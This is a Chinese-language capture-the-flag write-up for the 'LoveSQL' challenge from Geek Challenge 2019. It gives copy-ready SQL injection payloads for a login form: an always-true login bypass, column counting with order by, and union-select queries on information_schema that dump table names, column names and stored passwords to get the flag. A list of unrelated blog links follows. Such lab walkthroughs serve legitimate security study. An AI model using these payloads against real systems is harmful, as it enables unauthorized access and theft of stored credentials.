极客大挑战2019-LoveSQL

这是一道无过滤单引号字符型 SQL 注入 ,核心用联合查询脱库拿 flag,全程手工可通,无需工具。


一、核心解题思路

  1. 登录框→优先测 SQL 注入,用单引号判断字符型注入
  2. 万能密码绕过登录,确认注入可用
  3. order by判断查询字段数
  4. 联合查询查库→查表→查字段→查数据
  5. 目标表l0ve1ysq1password字段存 flag

二、完整操作步骤(直接复制 Payload)

1. 判断注入点(单引号字符型)

  • 用户名:admin'
  • 密码:123
  • 现象:报SQL 语法错误 ,确认是单引号闭合的字符型注入

2. 万能密码登录绕过

  • 用户名:' or 1=1 #
  • 密码:123
  • 结果:Login Success! Hello admin!,登录成功

3. 判断字段数(order by)

依次试:

  • a' order by 1 -- a
  • a' order by 2 -- a
  • a' order by 3 -- a
  • a' order by 4 -- a
  • 到 4 时报错:Unknown column '4'字段数 = 3

4. 查当前数据库

  • 用户名:a' union select 1,database(),3 -- a
  • 密码:111
  • 得到:geek

5. 查数据库里的表

  • 用户名:

    a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 -- a

  • 得到表:geekuser、l0ve1ysq1(flag 在 l0ve1ysq1)

6. 查 l0ve1ysq1 表的字段

  • 用户名:

    a' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'),3 -- a

  • 得到字段:id、username、password

7. 查 password 字段拿 flag

  • 用户名:

    a' union select 1,(select group_concat(password) from l0ve1ysq1),3 -- a

  • 页面 / 源码中得到:flag{a8c4dfbe30b89a18346f305e2152b702}


三、关键原理(为什么这么做)

  1. 单引号闭合 :原语句类似 select * from user where username='$name'输入a' or true -- a→变成:select * from user where username='a' or true -- a'条件恒真,登录绕过
  2. 联合查询union select拼接查询,用2、3位回显数据
  3. information_schema:MySQL 系统库,存所有库、表、字段信息
  4. group_concat:把多行结果拼成一行,方便页面显示
相关推荐
Data_Journal5 小时前
用于网页抓取的 Node-unblocker
大数据·开发语言·数据库·python·scrapy
涤生大数据5 小时前
一次“没有运行日志”的DolphinScheduler任务失败排查
大数据·数据库·人工智能·状态模式
专注API从业者5 小时前
告别人工盯品!借助 Open Claw 搭建电商商品自动化监控与数据分析系统(完整可运行源码)
大数据·运维·数据库·数据分析·自动化
viskaz5 小时前
数据库迁移流程学习
数据库
auspicious航6 小时前
PostgreSQL写入慢全攻略:原因排查与性能调优实战
数据库·postgresql
IvorySQL6 小时前
PostgreSQL 日报|逻辑复制行过滤致数据丢失(8 月 21 日)
数据库·postgresql
重生之我是Java开发战士7 小时前
【Java EE】事务与事务的传播机制
数据库·java-ee
润乾软件7 小时前
Trae+SQLazy 编写复杂 SQL 实践
数据库·sql
会编程的吕洞宾7 小时前
Redis大Key拖垮线上?排查定位与治理实战
数据库·redis·bootstrap
ltl7 小时前
WiredTiger History Store:文档库里的第三种 MVCC
数据库